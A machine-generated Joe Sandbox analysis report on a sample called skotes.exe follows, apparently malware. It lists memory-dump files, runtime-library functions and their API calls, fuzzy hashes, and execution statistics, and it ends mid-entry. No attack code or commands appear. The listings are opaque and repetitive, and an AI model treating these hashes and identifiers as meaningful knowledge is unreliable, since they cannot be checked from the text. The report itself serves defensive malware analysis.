Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 3a9ed22c2fd341880ac9a7522ddf896e86c9e13681815e56384d762ebfe941e6
Instruction ID: 3b03e638b93420925b091bc582ec4e0830c72fc979aabebfa8b7869eb25dec8d
Opcode Fuzzy Hash: 3a9ed22c2fd341880ac9a7522ddf896e86c9e13681815e56384d762ebfe941e6
Instruction Fuzzy Hash: 0DA1E4B0A016059FDB22DF64C84479AB7B8FF15314F05C52DE81AEB641EB35EA08CBD1

Function 0039CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0039CC66

Strings

v9, xrefs: 0039CBE1

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v9
API String ID: 3213747228-3260138212
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: ec0ffafc11a6ef6101f12a42eb61f50687ec858189b379b8a41b381153e9be81
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 34B12432D246859FDF16CF28C8917BEBFE5EF4A340F15516AE855EB242D6348D02CB60

Function 0037BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0037BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0037BBE4
_xtime_get.LIBCPMT ref: 0037BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0037BC13

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e36e3727afc862e60eb7a04a20c785d73b65704fa5e73bf5754f5e0ff02d9896
Instruction ID: 7fcb150a71aedd96352b29f06246f109a51ae083a91ebf759b64518a4e4b1e17
Opcode Fuzzy Hash: e36e3727afc862e60eb7a04a20c785d73b65704fa5e73bf5754f5e0ff02d9896
Instruction Fuzzy Hash: 91216571900119AFDF12EFA4DC819BEB7B9EF08710F108019F905BB261DB349D019B90

Function 0039F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0039F3A3

Strings

8"<, xrefs: 0039F44B
`'<, xrefs: 0039F375

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"<$`'<
API String ID: 3903695350-3128490074
Opcode ID: 163d950453864910ddd4ab89b03d35b6f295a9ae804114c0e4352c51809e2a3a
Instruction ID: e70c22b7834680cf4c0fb873ee727ec65c970340cb414c5390af9a1c381e0aec
Opcode Fuzzy Hash: 163d950453864910ddd4ab89b03d35b6f295a9ae804114c0e4352c51809e2a3a
Instruction Fuzzy Hash: 6C316A32600A01EFEF23AA3AD895B5B73E8EF00356F11452AE449DB595DF75EC80CB61

Analysis Process: skotes.exePID: 7212, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1925
Total number of Limit Nodes:	9

Executed Functions

Function 0039652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0039652A,?,?,?,?,?,00397661), ref: 00396567

Memory Dump Source

Source File: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000002.00000002.1805531307.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805553534.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805617060.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805638239.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805658873.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805704278.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805731134.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805867007.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805891821.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805921059.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805943623.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1805977214.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806001328.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806027052.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806101785.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806127901.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806187981.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806210879.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806234537.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 56f46a40034ce244e01b81245aef07d986fa6e14b96e0b955c3a2f1d6cfd6ee7
Instruction ID: 5893aab062c9c844765d9251ea264742785acffdae13c6645308db607c8ece9e
Opcode Fuzzy Hash: 56f46a40034ce244e01b81245aef07d986fa6e14b96e0b955c3a2f1d6cfd6ee7
Instruction Fuzzy Hash: 20E0C230042208AFCF37BF18C96AD483B69EF52799F120810FD184F222CB36EE91C680

Function 00369BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
